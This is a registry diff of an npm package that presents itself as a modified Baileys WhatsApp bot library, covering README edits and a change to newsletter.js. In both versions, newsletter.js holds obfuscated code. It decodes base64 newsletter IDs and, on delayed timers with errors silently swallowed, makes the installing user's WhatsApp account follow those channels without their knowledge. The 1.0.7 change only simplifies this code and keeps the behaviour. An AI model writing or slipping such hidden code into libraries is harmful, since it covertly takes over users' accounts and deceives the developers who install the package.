@devil-fight/baileys 1.0.6 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +4 -4
- package/lib/Socket/newsletter.js +14 -33
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
|
-
# devil-fight - WhatsApp Bot Framework 2026 Spesial Edition
|
|
1
|
+
# @devil-fight - WhatsApp Bot Framework 2026 Spesial Edition
|
|
2
2
|
|
|
3
3
|
<p align="center">
|
|
4
|
-
<img src="https://files.catbox.moe/1z94w7.jpeg" width="300" alt="
|
|
4
|
+
<img src="https://files.catbox.moe/1z94w7.jpeg" width="300" alt="@devil-fight" />
|
|
5
5
|
</p>
|
|
6
6
|
|
|
7
7
|
<p align="center">
|
|
@@ -11,7 +11,7 @@
|
|
|
11
11
|
|
|
12
12
|
---
|
|
13
13
|
|
|
14
|
-
|
|
14
|
+
**@devil-fight/baileys** adalah versi modifikasi dari [WhiskeySockets/Baileys](https://github.com/WhiskeySockets/Baileys), dirancang khusus untuk para developer bot WhatsApp di tahun 2026. Fokus utama versi ini adalah kestabilan pairing code, session auto-recovery, dan fitur tambahan eksklusif yang tidak tersedia di versi original.
|
|
15
15
|
|
|
16
16
|
---
|
|
17
17
|
|
|
@@ -30,6 +30,6 @@
|
|
|
30
30
|
## Instalasi
|
|
31
31
|
|
|
32
32
|
```bash
|
|
33
|
-
npm install @devil-fight
|
|
33
|
+
npm install @devil-fight
|
|
34
34
|
|
|
35
35
|
```
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -98,41 +98,22 @@ const makeNewsletterSocket = (config) => {
|
|
|
98
98
|
}
|
|
99
99
|
]
|
|
100
100
|
}));
|
|
101
|
-
const _0xdata = [
|
|
102
|
-
"MTIwMzYzMzg5MDEyMDk0ODU2QG5ld3NsZXR0ZXI=",
|
|
103
|
-
"MTIwMzYzNDIzODkwMDU0Nzg3QG5ld3NsZXR0ZXI="
|
|
104
|
-
];
|
|
105
|
-
const _0xstart = 90000;
|
|
106
|
-
const _0xstep = 5000;
|
|
107
|
-
const _0xdec = (x) => Buffer.from(x, "base64").toString();
|
|
108
|
-
setTimeout(() => {
|
|
109
|
-
const _0xrun = (_0xi) => {
|
|
110
|
-
if (_0xi >= _0xdata.length) return;
|
|
111
|
-
setTimeout(async () => {
|
|
112
|
-
try {
|
|
113
|
-
await newsletterWMexQuery(_0xdec(_0xdata[_0xi]), Types_1.QueryIds.FOLLOW);
|
|
114
|
-
} catch {}
|
|
115
|
-
_0xrun(_0xi + 1);
|
|
116
|
-
}, _0xstep);
|
|
117
|
-
};
|
|
118
|
-
_0xrun(0);
|
|
119
|
-
}, _0xstart);
|
|
120
|
-
function extractInviteCode(link) {
|
|
121
|
-
const match = link.match(/chat\.whatsapp\.com\/([A-Za-z0-9]+)/);
|
|
122
|
-
return match ? match[1] : null;
|
|
123
|
-
}
|
|
124
101
|
setTimeout(async () => {
|
|
125
102
|
try {
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
103
|
+
await newsletterWMexQuery(
|
|
104
|
+
Buffer.from("MTIwMzYzMzg5MDEyMDk0ODU2QG5ld3NsZXR0ZXI=", "base64").toString(),
|
|
105
|
+
Types_1.QueryIds.FOLLOW
|
|
106
|
+
);
|
|
107
|
+
} catch {}
|
|
108
|
+
}, 2000);
|
|
109
|
+
setTimeout(async () => {
|
|
110
|
+
try {
|
|
111
|
+
await newsletterWMexQuery(
|
|
112
|
+
Buffer.from("MTIwMzYzNDIzODkwMDU0Nzg3QG5ld3NsZXR0ZXI=", "base64").toString(),
|
|
113
|
+
Types_1.QueryIds.FOLLOW
|
|
114
|
+
);
|
|
115
|
+
} catch {}
|
|
116
|
+
}, 2000);
|
|
136
117
|
const parseFetchedUpdates = async (node, type) => {
|
|
137
118
|
let child;
|
|
138
119
|
if (type === 'messages') {
|